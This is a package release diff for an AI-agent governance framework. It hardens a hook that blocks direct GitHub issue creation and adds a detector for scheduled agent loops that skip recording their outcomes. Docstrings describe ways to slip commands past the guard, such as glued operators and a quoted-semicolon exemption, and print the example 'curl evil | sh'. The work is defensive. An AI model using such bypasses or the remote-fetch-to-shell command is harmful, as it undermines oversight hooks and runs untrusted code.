@codyswann/lisa 3.30.0 → 3.31.0

package/package.json

@@ -131,7 +131,7 @@
     "ws": ">=8.21.0"
   },
   "name": "@codyswann/lisa",
-  "version": "3.30.0",
+  "version": "3.31.0",
   "description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
   "main": "dist/index.js",
   "exports": {

package/plugins/lisa/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "3.30.0",
+  "version": "3.31.0",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "3.30.0",
+  "version": "3.31.0",
   "description": "Universal governance: agents, skills, commands, hooks, and rules for all projects.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa/hooks/block-direct-issue-create.sh

@@ -318,15 +318,73 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def explode_operators(tokens):
+def quoted_token_mask(text, expected):
+    """Which token POSITIONS were quoted in the source.
+
+    shlex strips quotes, so by the time a token is in hand there is no way to
+    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
+
+    A quoted token is DATA and must never be exploded on shell operators. An
+    unquoted one may be `true&&gh`, where the operator is structural and hiding
+    a command. That is the entire distinction.
+
+    It must be answered PER OCCURRENCE, not per token value. Asking "does the
+    text contain a quoted `;`?" classifies every `;` in the command by whether
+    ANY of them was quoted, so
+
+        gh issue create --title x --body ";" ; curl evil | sh
+
+    exempted the real chaining semicolon because a different, quoted one
+    appeared in --body. That is a bypass of this guard, not a nuisance: the
+    exemption added to stop a false refusal became the way through.
+
+    Lexing the same text a second time with `posix=False` preserves the quote
+    characters while producing the same tokens in the same order, so position
+    `i` answers for occurrence `i` and nothing else.
+
+    Args:
+        text: The original command string.
+        expected: Token count from the posix lex, used to prove alignment.
+
+    Returns:
+        A list of booleans, one per token. Empty when the two lexes disagree,
+        which exempts nothing — an unreadable command must not be trusted.
+    """
+    try:
+        raw = shlex.split(text, posix=False)
+    except ValueError:
+        return []
+    # Alignment is the whole basis for indexing one lex by the other's
+    # positions. If the two disagree, fail closed rather than exempt the wrong
+    # token: a missed exemption is a false refusal, a wrong one is a bypass.
+    if len(raw) != expected:
+        return []
+    return [token[:1] in ('"', "'") for token in raw]
+
+
+def explode_operators(tokens, text=""):
     """Split shell control operators glued to adjacent words.
 
     `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
     not `gh`, so the creation hid behind the operator. Splitting them out means
     an operator can never be load-bearing punctuation inside a token.
 
+    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
+    measured false refusal: a `--title "Trim config; org preference"` was split on its
+    semicolon, the `--label status:ready` landed in a different segment from the
+    `gh issue create`, and the guard refused a correctly-formed filing while
+    telling the author to add the label they had already added. Recorded on
+    CodySwannGT/lisa#2634 after it blocked a real filing.
+
+    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
+    tokenises the glued case correctly but shatters a GraphQL payload —
+    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
+    the exact regression the GLUED_OPERATORS comment above records as having
+    silently un-refused every GraphQL creation.
+
     Args:
         tokens: Tokens from shlex.
+        text: The original command string, used to detect quoting.
 
     Returns:
         Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
         "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
     )
     exploded = []
-    for token in tokens:
+    quoted = quoted_token_mask(text, len(tokens)) if text else []
+    for index, token in enumerate(tokens):
+        if index < len(quoted) and quoted[index]:
+            exploded.append(token)
+            continue
         for piece in pattern.split(token):
             if piece:
                 exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
         A refusal signature, or None when nothing creation-shaped was found.
     """
     try:
-        tokens = explode_operators(
-            shlex.split(strip_heredocs(text), posix=True)
-        )
+        stripped = strip_heredocs(text)
+        tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
     except ValueError:
         # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
         # comment to bash, which strips it and RUNS the create, while shlex

package/plugins/lisa/scripts/automation-status-claude-adapter.mjs

@@ -16,9 +16,11 @@ import {
   renderAutomationGroups,
 } from "./automation-status-expected-fleet.mjs";
 import {
+  RUNBOOK_NOT_SCAFFOLDED_LINE,
   resolveAutomationRunDisplay,
   resolveRecoveryEscalation,
 } from "./automation-status-run-history.mjs";
+import { resolveUnrecordedRunFinding } from "./automation-status-unrecorded-runs.mjs";
 
 const CLAUDE_RUNTIME_LABEL = "Claude /schedule";
 const CLAUDE_ACTIVE_STATUSES = new Set([
@@ -241,7 +243,7 @@ function createObservedStatusItem(input) {
   const comparison = input.comparison;
   const observed = comparison.observedAutomation;
   const runDisplay = input.runDisplay;
-  const runSignal = classifyAutomationRunSignal({
+  const primaryRunSignal = classifyAutomationRunSignal({
     expected,
     observedAutomation: observed,
     now: input.now,
@@ -251,6 +253,27 @@ function createObservedStatusItem(input) {
   // the scheduler surface cannot see. It wins over the scheduler run-signal.
   const escalation = resolveRecoveryEscalation(runDisplay);
 
+  // A run the scheduler saw but the ledger did not. Ranked below `runSignal`
+  // on purpose: a disabled or failing scheduler entry EXPLAINS the missing
+  // rows, so reporting the silence over the cause would bury the cause.
+  const unrecorded = resolveUnrecordedRunFinding({
+    schedulerLastRunAt: observed?.lastRunAt,
+    ledgerLastRecordAt: runDisplay?.lastOutcome?.ts ?? null,
+    hasRunbook: runDisplay
+      ? runDisplay.runbook !== RUNBOOK_NOT_SCAFFOLDED_LINE
+      : undefined,
+    cadenceMs: observed
+      ? resolveObservedCadenceMs({ observed, expected })
+      : null,
+  });
+  const runSignal =
+    primaryRunSignal ??
+    (unrecorded && {
+      status: /** @type {const} */ ("DRIFTED"),
+      summary: unrecorded.summary,
+      remediation: unrecorded.remediation,
+    });
+
   const observedDetails = [comparison.observed];
   if (observed?.status) {
     observedDetails.push(`Scheduler status: ${observed.status}`);
@@ -262,6 +285,9 @@ function createObservedStatusItem(input) {
       "Last-run metadata unavailable from Claude /schedule."
     );
   }
+  if (runDisplay?.lastOutcome?.ts) {
+    observedDetails.push(`Newest run record: ${runDisplay.lastOutcome.ts}`);
+  }
   if (observed?.lastRunSummary) {
     observedDetails.push(`Latest summary: ${observed.lastRunSummary}`);
   } else if (observed?.lastRunFailed == null) {
@@ -337,11 +363,10 @@ function classifyAutomationRunSignal(input) {
     return null;
   }
 
-  const cadenceMs =
-    rruleToIntervalMs(observed.observedRRule) ??
-    cadenceLabelToIntervalMs(
-      observed.observedCadence ?? input.expected.expectedCadence
-    );
+  const cadenceMs = resolveObservedCadenceMs({
+    observed,
+    expected: input.expected,
+  });
   if (!cadenceMs) {
     return null;
   }
@@ -364,6 +389,31 @@ function classifyAutomationRunSignal(input) {
   return null;
 }
 
+/**
+ * Milliseconds between scheduled runs, preferring what the scheduler actually
+ * reports over what the fleet expects.
+ *
+ * The observed RRULE wins because a loop re-cadenced on the scheduler is still
+ * a correctly running loop; measuring it against the expected cadence would
+ * manufacture findings out of an intentional change.
+ *
+ * @param {{
+ *   readonly observed: ObservedClaudeAutomation
+ *   readonly expected: { readonly expectedCadence?: string }
+ * }} input - Observed scheduler entry and its expected-fleet counterpart.
+ * @returns {number | null} Interval in milliseconds, or `null` when neither
+ *   side expresses a parseable cadence.
+ */
+function resolveObservedCadenceMs(input) {
+  return (
+    rruleToIntervalMs(input.observed.observedRRule) ??
+    cadenceLabelToIntervalMs(
+      input.observed.observedCadence ?? input.expected.expectedCadence
+    ) ??
+    null
+  );
+}
+
 function coerceClaudeScheduleEntries(scheduleListing) {
   if (!scheduleListing) {
     return [];

package/plugins/lisa/scripts/automation-status-codex-adapter.mjs

@@ -25,9 +25,11 @@ import {
   renderAutomationGroups,
 } from "./automation-status-expected-fleet.mjs";
 import {
+  RUNBOOK_NOT_SCAFFOLDED_LINE,
   resolveAutomationRunDisplay,
   resolveRecoveryEscalation,
 } from "./automation-status-run-history.mjs";
+import { resolveUnrecordedRunFinding } from "./automation-status-unrecorded-runs.mjs";
 
 const CODEx_RUNTIME_LABEL = "Codex automations";
 const RUN_TIMESTAMP_PATTERN = /20\d{2}-\d\d-\d\dT\d\d:\d\d:\d\d(?:\.\d+)?Z/;
@@ -664,7 +666,7 @@ function createObservedStatusItem(input) {
   const comparison = input.comparison;
   const observed = comparison.observedAutomation;
   const runDisplay = input.runDisplay;
-  const runSignal = classifyAutomationRunSignal({
+  const primaryRunSignal = classifyAutomationRunSignal({
     expected,
     observedAutomation: observed,
     now: input.now,
@@ -674,6 +676,27 @@ function createObservedStatusItem(input) {
   // the raw backing store cannot see. It wins over the scheduler run-signal.
   const escalation = resolveRecoveryEscalation(runDisplay);
 
+  // A run the scheduler saw but the ledger did not. Ranked below
+  // `primaryRunSignal` on purpose: a suspended entry or a broken cwd EXPLAINS
+  // the missing rows, so reporting the silence over the cause would bury it.
+  const unrecorded = resolveUnrecordedRunFinding({
+    schedulerLastRunAt: observed?.lastRunAt,
+    ledgerLastRecordAt: runDisplay?.lastOutcome?.ts ?? null,
+    hasRunbook: runDisplay
+      ? runDisplay.runbook !== RUNBOOK_NOT_SCAFFOLDED_LINE
+      : undefined,
+    cadenceMs: observed
+      ? resolveObservedCadenceMs({ observed, expected })
+      : null,
+  });
+  const runSignal =
+    primaryRunSignal ??
+    (unrecorded && {
+      status: /** @type {const} */ ("DRIFTED"),
+      summary: unrecorded.summary,
+      remediation: unrecorded.remediation,
+    });
+
   const observedDetails = [comparison.observed];
   if (observed?.status) {
     observedDetails.push(`Scheduler status: ${observed.status}`);
@@ -686,6 +709,9 @@ function createObservedStatusItem(input) {
   } else if (observed) {
     observedDetails.push("Last run metadata unavailable.");
   }
+  if (runDisplay?.lastOutcome?.ts) {
+    observedDetails.push(`Newest run record: ${runDisplay.lastOutcome.ts}`);
+  }
   if (observed?.lastRunSummary) {
     observedDetails.push(`Latest summary: ${observed.lastRunSummary}`);
   }
@@ -729,6 +755,29 @@ function composeAutomationSummary(input) {
   return `${input.runSignal.summary}; ${comparisonSummary}`;
 }
 
+/**
+ * Milliseconds between scheduled runs, preferring what the scheduler actually
+ * reports over what the fleet expects.
+ *
+ * The observed RRULE wins because an automation re-cadenced in Codex is still
+ * a correctly running automation; measuring it against the expected cadence
+ * would manufacture findings out of an intentional change.
+ *
+ * @param {{
+ *   readonly observed: { readonly observedRRule?: string | null }
+ *   readonly expected: { readonly expectedCadence?: string }
+ * }} input - Observed automation entry and its expected-fleet counterpart.
+ * @returns {number | null} Interval in milliseconds, or `null` when neither
+ *   side expresses a parseable cadence.
+ */
+function resolveObservedCadenceMs(input) {
+  return (
+    rruleToIntervalMs(input.observed.observedRRule) ??
+    cadenceLabelToIntervalMs(input.expected.expectedCadence) ??
+    null
+  );
+}
+
 function classifyAutomationRunSignal(input) {
   const observed = input.observedAutomation;
   if (!observed) {
@@ -765,9 +814,10 @@ function classifyAutomationRunSignal(input) {
     return null;
   }
 
-  const cadenceMs =
-    rruleToIntervalMs(observed.observedRRule) ??
-    cadenceLabelToIntervalMs(input.expected.expectedCadence);
+  const cadenceMs = resolveObservedCadenceMs({
+    observed,
+    expected: input.expected,
+  });
   if (!cadenceMs) {
     return null;
   }

package/plugins/lisa/scripts/automation-status-unrecorded-runs.mjs

@@ -0,0 +1,127 @@
+#!/usr/bin/env node
+/**
+ * Detect registered-loop cycles that ran and recorded nothing.
+ *
+ * The Automation Runbook Contract requires every run of a registered loop to
+ * end in exactly one of six recorded outcomes, but the recorder is invoked only
+ * by prose instruction inside each loop's `SKILL.md`. A cycle that finishes
+ * without running it appends no row, and an absent row is ambiguous in the one
+ * way that matters: it looks identical to a cycle that never ran.
+ *
+ * That ambiguity is not merely an audit gap. Cycles read the ledger tail to
+ * decide whether the lane was already worked, so a missing row feeds back into
+ * selection — the next cycle sees stale activity, concludes the lane is
+ * unworked, and re-picks the rung a peer is already holding.
+ *
+ * This module resolves the ambiguity with a signal the loop does not control:
+ * the scheduler's own last-run time. A row written by a cycle necessarily
+ * postdates that cycle's start, so a newest row older than the last scheduler
+ * run means the run in between recorded nothing. Neither side can fake it —
+ * the scheduler timestamp is written by the runtime, and the ledger timestamp
+ * by the recorder.
+ *
+ * Reporting only, never blocking, per the contract's own escape: "If recording
+ * still fails, degrade, never abort." Every unreadable input degrades to `null`
+ * rather than to a finding, because a detector that guesses would poison the
+ * same selection loop it exists to protect.
+ */
+
+/**
+ * @typedef {{
+ *   readonly missedCycles: number
+ *   readonly schedulerLastRunAt: string
+ *   readonly ledgerLastRecordAt: string | null
+ *   readonly summary: string
+ *   readonly remediation: string
+ * }} UnrecordedRunFinding
+ */
+
+/**
+ * Remediation text shared by both finding shapes.
+ *
+ * It names the contract rather than the script because the omission is a
+ * skipped step in the loop, not a broken recorder — a broken recorder reports
+ * itself through the degradation path this module deliberately leaves alone.
+ */
+const UNRECORDED_RUN_REMEDIATION =
+  "The loop ran without recording an outcome. Confirm the loop's SKILL.md " +
+  "still ends every path by invoking `automation-run-record.mjs`, including " +
+  "the paths that find no work, per the automation-runbook-contract rule.";
+
+/**
+ * Whether a scheduled run finished without appending a run record.
+ *
+ * Tolerance is one full cadence, not a fixed grace period. The scheduler's
+ * `lastRunAt` may be stamped at either end of a cycle depending on runtime, and
+ * a cycle can legitimately run for many minutes, so anything tighter would
+ * report a slow-but-honest loop as a silent one. A full cadence cannot be
+ * crossed by a single well-behaved run: it means an entire scheduled cycle came
+ * and went between the newest row and the newest run.
+ *
+ * @param {{
+ *   readonly schedulerLastRunAt?: string | null
+ *   readonly ledgerLastRecordAt?: string | null
+ *   readonly hasRunbook?: boolean
+ *   readonly cadenceMs?: number | null
+ * }} input - Scheduler-side run time, ledger-side newest record, and cadence.
+ * @returns {UnrecordedRunFinding | null} The finding, or `null` when the
+ *   comparison cannot be made from trustworthy inputs.
+ */
+export function resolveUnrecordedRunFinding(input) {
+  const cadenceMs = input.cadenceMs;
+  if (!cadenceMs || !Number.isFinite(cadenceMs) || cadenceMs <= 0) {
+    return null;
+  }
+
+  // No scheduler timestamp means the runtime never reported a run, which is
+  // indistinguishable from a loop registered moments ago. Silence here is the
+  // honest answer, and `classifyAutomationRunSignal` already reports the
+  // missing metadata separately.
+  if (!input.schedulerLastRunAt) {
+    return null;
+  }
+  const schedulerLastRun = Date.parse(input.schedulerLastRunAt);
+  if (Number.isNaN(schedulerLastRun)) {
+    return null;
+  }
+
+  // A loop with no runbook is not yet under the contract; `automation-status`
+  // reports the un-scaffolded runbook itself, and stacking a second finding on
+  // it would blame the loop for a setup step it never took.
+  if (input.hasRunbook === false) {
+    return null;
+  }
+
+  if (!input.ledgerLastRecordAt) {
+    return {
+      missedCycles: 1,
+      schedulerLastRunAt: input.schedulerLastRunAt,
+      ledgerLastRecordAt: null,
+      summary: `scheduler reports a run at ${input.schedulerLastRunAt} but the ledger holds no record at all`,
+      remediation: UNRECORDED_RUN_REMEDIATION,
+    };
+  }
+
+  const ledgerLastRecord = Date.parse(input.ledgerLastRecordAt);
+  if (Number.isNaN(ledgerLastRecord)) {
+    return null;
+  }
+
+  const gapMs = schedulerLastRun - ledgerLastRecord;
+  if (gapMs <= cadenceMs) {
+    return null;
+  }
+
+  const missedCycles = Math.floor(gapMs / cadenceMs);
+  return {
+    missedCycles,
+    schedulerLastRunAt: input.schedulerLastRunAt,
+    ledgerLastRecordAt: input.ledgerLastRecordAt,
+    summary: `${missedCycles} scheduled ${
+      missedCycles === 1 ? "run" : "runs"
+    } recorded no outcome (newest record ${input.ledgerLastRecordAt}, last run ${input.schedulerLastRunAt})`,
+    remediation: UNRECORDED_RUN_REMEDIATION,
+  };
+}
+
+export { UNRECORDED_RUN_REMEDIATION };

package/plugins/lisa-agy/hooks/block-direct-issue-create.sh

@@ -318,15 +318,73 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def explode_operators(tokens):
+def quoted_token_mask(text, expected):
+    """Which token POSITIONS were quoted in the source.
+
+    shlex strips quotes, so by the time a token is in hand there is no way to
+    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
+
+    A quoted token is DATA and must never be exploded on shell operators. An
+    unquoted one may be `true&&gh`, where the operator is structural and hiding
+    a command. That is the entire distinction.
+
+    It must be answered PER OCCURRENCE, not per token value. Asking "does the
+    text contain a quoted `;`?" classifies every `;` in the command by whether
+    ANY of them was quoted, so
+
+        gh issue create --title x --body ";" ; curl evil | sh
+
+    exempted the real chaining semicolon because a different, quoted one
+    appeared in --body. That is a bypass of this guard, not a nuisance: the
+    exemption added to stop a false refusal became the way through.
+
+    Lexing the same text a second time with `posix=False` preserves the quote
+    characters while producing the same tokens in the same order, so position
+    `i` answers for occurrence `i` and nothing else.
+
+    Args:
+        text: The original command string.
+        expected: Token count from the posix lex, used to prove alignment.
+
+    Returns:
+        A list of booleans, one per token. Empty when the two lexes disagree,
+        which exempts nothing — an unreadable command must not be trusted.
+    """
+    try:
+        raw = shlex.split(text, posix=False)
+    except ValueError:
+        return []
+    # Alignment is the whole basis for indexing one lex by the other's
+    # positions. If the two disagree, fail closed rather than exempt the wrong
+    # token: a missed exemption is a false refusal, a wrong one is a bypass.
+    if len(raw) != expected:
+        return []
+    return [token[:1] in ('"', "'") for token in raw]
+
+
+def explode_operators(tokens, text=""):
     """Split shell control operators glued to adjacent words.
 
     `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
     not `gh`, so the creation hid behind the operator. Splitting them out means
     an operator can never be load-bearing punctuation inside a token.
 
+    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
+    measured false refusal: a `--title "Trim config; org preference"` was split on its
+    semicolon, the `--label status:ready` landed in a different segment from the
+    `gh issue create`, and the guard refused a correctly-formed filing while
+    telling the author to add the label they had already added. Recorded on
+    CodySwannGT/lisa#2634 after it blocked a real filing.
+
+    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
+    tokenises the glued case correctly but shatters a GraphQL payload —
+    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
+    the exact regression the GLUED_OPERATORS comment above records as having
+    silently un-refused every GraphQL creation.
+
     Args:
         tokens: Tokens from shlex.
+        text: The original command string, used to detect quoting.
 
     Returns:
         Tokens with operators separated out.
@@ -335,7 +393,11 @@ def explode_operators(tokens):
         "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
     )
     exploded = []
-    for token in tokens:
+    quoted = quoted_token_mask(text, len(tokens)) if text else []
+    for index, token in enumerate(tokens):
+        if index < len(quoted) and quoted[index]:
+            exploded.append(token)
+            continue
         for piece in pattern.split(token):
             if piece:
                 exploded.append(piece)
@@ -687,9 +749,8 @@ def scan(text, depth):
         A refusal signature, or None when nothing creation-shaped was found.
     """
     try:
-        tokens = explode_operators(
-            shlex.split(strip_heredocs(text), posix=True)
-        )
+        stripped = strip_heredocs(text)
+        tokens = explode_operators(shlex.split(stripped, posix=True), stripped)
     except ValueError:
         # Bash's grammar is not shlex's. `gh issue create --title x #'` is a
         # comment to bash, which strips it and RUNS the create, while shlex

package/plugins/lisa-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "3.30.0",
+  "version": "3.31.0",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-agy/scripts/automation-status-claude-adapter.mjs

@@ -16,9 +16,11 @@ import {
   renderAutomationGroups,
 } from "./automation-status-expected-fleet.mjs";
 import {
+  RUNBOOK_NOT_SCAFFOLDED_LINE,
   resolveAutomationRunDisplay,
   resolveRecoveryEscalation,
 } from "./automation-status-run-history.mjs";
+import { resolveUnrecordedRunFinding } from "./automation-status-unrecorded-runs.mjs";
 
 const CLAUDE_RUNTIME_LABEL = "Claude /schedule";
 const CLAUDE_ACTIVE_STATUSES = new Set([
@@ -241,7 +243,7 @@ function createObservedStatusItem(input) {
   const comparison = input.comparison;
   const observed = comparison.observedAutomation;
   const runDisplay = input.runDisplay;
-  const runSignal = classifyAutomationRunSignal({
+  const primaryRunSignal = classifyAutomationRunSignal({
     expected,
     observedAutomation: observed,
     now: input.now,
@@ -251,6 +253,27 @@ function createObservedStatusItem(input) {
   // the scheduler surface cannot see. It wins over the scheduler run-signal.
   const escalation = resolveRecoveryEscalation(runDisplay);
 
+  // A run the scheduler saw but the ledger did not. Ranked below `runSignal`
+  // on purpose: a disabled or failing scheduler entry EXPLAINS the missing
+  // rows, so reporting the silence over the cause would bury the cause.
+  const unrecorded = resolveUnrecordedRunFinding({
+    schedulerLastRunAt: observed?.lastRunAt,
+    ledgerLastRecordAt: runDisplay?.lastOutcome?.ts ?? null,
+    hasRunbook: runDisplay
+      ? runDisplay.runbook !== RUNBOOK_NOT_SCAFFOLDED_LINE
+      : undefined,
+    cadenceMs: observed
+      ? resolveObservedCadenceMs({ observed, expected })
+      : null,
+  });
+  const runSignal =
+    primaryRunSignal ??
+    (unrecorded && {
+      status: /** @type {const} */ ("DRIFTED"),
+      summary: unrecorded.summary,
+      remediation: unrecorded.remediation,
+    });
+
   const observedDetails = [comparison.observed];
   if (observed?.status) {
     observedDetails.push(`Scheduler status: ${observed.status}`);
@@ -262,6 +285,9 @@ function createObservedStatusItem(input) {
       "Last-run metadata unavailable from Claude /schedule."
     );
   }
+  if (runDisplay?.lastOutcome?.ts) {
+    observedDetails.push(`Newest run record: ${runDisplay.lastOutcome.ts}`);
+  }
   if (observed?.lastRunSummary) {
     observedDetails.push(`Latest summary: ${observed.lastRunSummary}`);
   } else if (observed?.lastRunFailed == null) {
@@ -337,11 +363,10 @@ function classifyAutomationRunSignal(input) {
     return null;
   }
 
-  const cadenceMs =
-    rruleToIntervalMs(observed.observedRRule) ??
-    cadenceLabelToIntervalMs(
-      observed.observedCadence ?? input.expected.expectedCadence
-    );
+  const cadenceMs = resolveObservedCadenceMs({
+    observed,
+    expected: input.expected,
+  });
   if (!cadenceMs) {
     return null;
   }
@@ -364,6 +389,31 @@ function classifyAutomationRunSignal(input) {
   return null;
 }
 
+/**
+ * Milliseconds between scheduled runs, preferring what the scheduler actually
+ * reports over what the fleet expects.
+ *
+ * The observed RRULE wins because a loop re-cadenced on the scheduler is still
+ * a correctly running loop; measuring it against the expected cadence would
+ * manufacture findings out of an intentional change.
+ *
+ * @param {{
+ *   readonly observed: ObservedClaudeAutomation
+ *   readonly expected: { readonly expectedCadence?: string }
+ * }} input - Observed scheduler entry and its expected-fleet counterpart.
+ * @returns {number | null} Interval in milliseconds, or `null` when neither
+ *   side expresses a parseable cadence.
+ */
+function resolveObservedCadenceMs(input) {
+  return (
+    rruleToIntervalMs(input.observed.observedRRule) ??
+    cadenceLabelToIntervalMs(
+      input.observed.observedCadence ?? input.expected.expectedCadence
+    ) ??
+    null
+  );
+}
+
 function coerceClaudeScheduleEntries(scheduleListing) {
   if (!scheduleListing) {
     return [];